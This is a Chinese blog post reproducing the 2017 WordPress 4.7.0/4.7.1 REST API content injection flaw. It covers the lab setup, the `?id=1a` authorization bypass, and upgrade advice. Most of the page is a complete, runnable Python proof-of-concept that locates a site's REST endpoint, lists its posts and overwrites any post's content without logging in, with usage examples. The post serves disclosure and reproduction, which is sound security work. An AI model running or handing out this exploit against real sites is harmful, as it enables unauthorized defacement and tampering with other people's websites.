IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    WordPress REST API 内容注入漏洞

    没穿底裤发表于 2017-02-04 15:36:07
    love 0

    1.漏洞信息:

    WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。在4.7.0版本后,REST API插件的功能被集成到WordPress中,由此也引发了一些安全性问题。近日,一个由REST API引起的影响WorePress4.7.0和4.7.1版本的漏洞被披露,该漏洞可以导致WordPress所有文章内容可以未经验证被查看,修改,删除,甚至创建新的文章,危害巨大。

    2.漏洞影响版本:

    WordPress 4.7.0 WordPress 4.7.1

    3.复现环境:

    Apache2.4
    PHP 7.0
    WordPress 4.7.1

    4.复现过程:

    1.安装WordPress并配置REST API
    ①配置Apache+PHP+Mysql的运行环境,下载含有漏洞版本的WordPress(https://wordpress.org/wordpress-4.7.1.tar.gz)并安装。
    ②加载Apache的rewrite模块。
    在Apache的配置文件中添加

    <span class="hljs-keyword"><span class="hljs-common">LoadModule</span></span> rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

    并在主配置文件中设置对应的WEB目录的AllowOverride为All

    ③设置WordPress站点为固定链接
    在Settings->Permalinks中的Common Settings设置为非Plain模式。例如下图,我们设置为Day and name。

    2.漏洞复现
    ①根据REST API文档,修改文章内容的数据包构造如下:
    可以看到,不带任何验证信息会提示不允许编辑文章

    ②构造可利用的数据包:
    当url为/wp-json/wp/v2/posts/1?id=1a时,可以看到,已经成功跳过验证看到文章内容了。

    PoC

    # Exploit Title: Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
    # Date: 2017-02-02
    # Exploit Author: @leonjza
    # Vendor Homepage: https://wordpress.org/
    # Software Link: https://wordpress.org/wordpress-4.7.zip
    # Version: Wordpress 4.7.0/4.7.1
    # Tested on: Debian Jessie
    #
    # PoC gist: https://gist.github.com/leonjza/2244eb15510a0687ed93160c623762ab
    #
    
    # 2017 - @leonjza
    #
    # Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
    # Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
    
    # Usage example:
    #
    # List available posts:
    #
    # $ python inject.py http://localhost:8070/
    # * Discovering API Endpoint
    # * API lives at: http://localhost:8070/wp-json/
    # * Getting available posts
    #  - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
    #
    # Update post with content from a file:
    #
    # $ cat content
    # foo
    #
    # $ python inject.py http://localhost:8070/ 1 content
    # * Discovering API Endpoint
    # * API lives at: http://localhost:8070/wp-json/
    # * Updating post 1
    # * Post updated. Check it out at http://localhost:8070/archives/1
    # * Update complete!
    
    import json
    import sys
    import urllib2
    
    from lxml import etree
    
    
    def get_api_url(wordpress_url):
        response = urllib2.urlopen(wordpress_url)
    
        data = etree.HTML(response.read())
        u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
    
        # check if we have permalinks
        if 'rest_route' in u:
            print(' ! Warning, looks like permalinks are not enabled. This might not work!')
    
        return u
    
    
    def get_posts(api_base):
        respone = urllib2.urlopen(api_base + 'wp/v2/posts')
        posts = json.loads(respone.read())
    
        for post in posts:
            print(' - Post ID: {}, Title: {}, Url: {}'
                  .format(post['id'], post['title']['rendered'], post['link']))
    
    
    def update_post(api_base, post_id, post_content):
        # more than just the content field can be updated. see the api docs here:
        # https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
        data = json.dumps({
            'content': post_content
        })
    
        url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
        req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
        response = urllib2.urlopen(req).read()
    
        print('* Post updated. Check it out at {}'.format(json.loads(response)['link']))
    
    
    def print_usage():
        print('Usage: {} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
    
    
    if __name__ == '__main__':
    
        # ensure we have at least a url
        if len(sys.argv) < 2:
            print_usage()
            sys.exit(1)
    
        # if we have a post id, we need content too
        if 2 < len(sys.argv) < 4:
            print('Please provide a file with post content with a post id')
            print_usage()
            sys.exit(1)
    
        print('* Discovering API Endpoint')
        api_url = get_api_url(sys.argv[1])
        print('* API lives at: {}'.format(api_url))
    
        # if we only have a url, show the posts we have have
        if len(sys.argv) < 3:
            print('* Getting available posts')
            get_posts(api_url)
    
            sys.exit(0)
    
        # if we get here, we have what we need to update a post!
        print('* Updating post {}'.format(sys.argv[2]))
        with open(sys.argv[3], 'r') as content:
            new_content = content.readlines()
    
        update_post(api_url, sys.argv[2], ''.join(new_content))
    
        print('* Update complete!')

    参考链接

    • https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
    • https://wordpress.org/news/2017/01/wordpress-4-7-2-security-release/
    • https://www.exploit-db.com/exploits/41223/
    • https://www.exploit-db.com/exploits/41224/

    解决方案

    升级WordPress到最新版(4.7.2)

    ps:

    这个漏洞其实早两天看见了,只是因为过年忙着就忘记了,没想到今天上线就看见被各路大神友情了一下,感谢没有破坏数据,同时漏洞时代的小伙伴也祝各路大神新年快乐,漏洞多多,当然别忘记分享给我们哦~



沪ICP备19023445号-2号
友情链接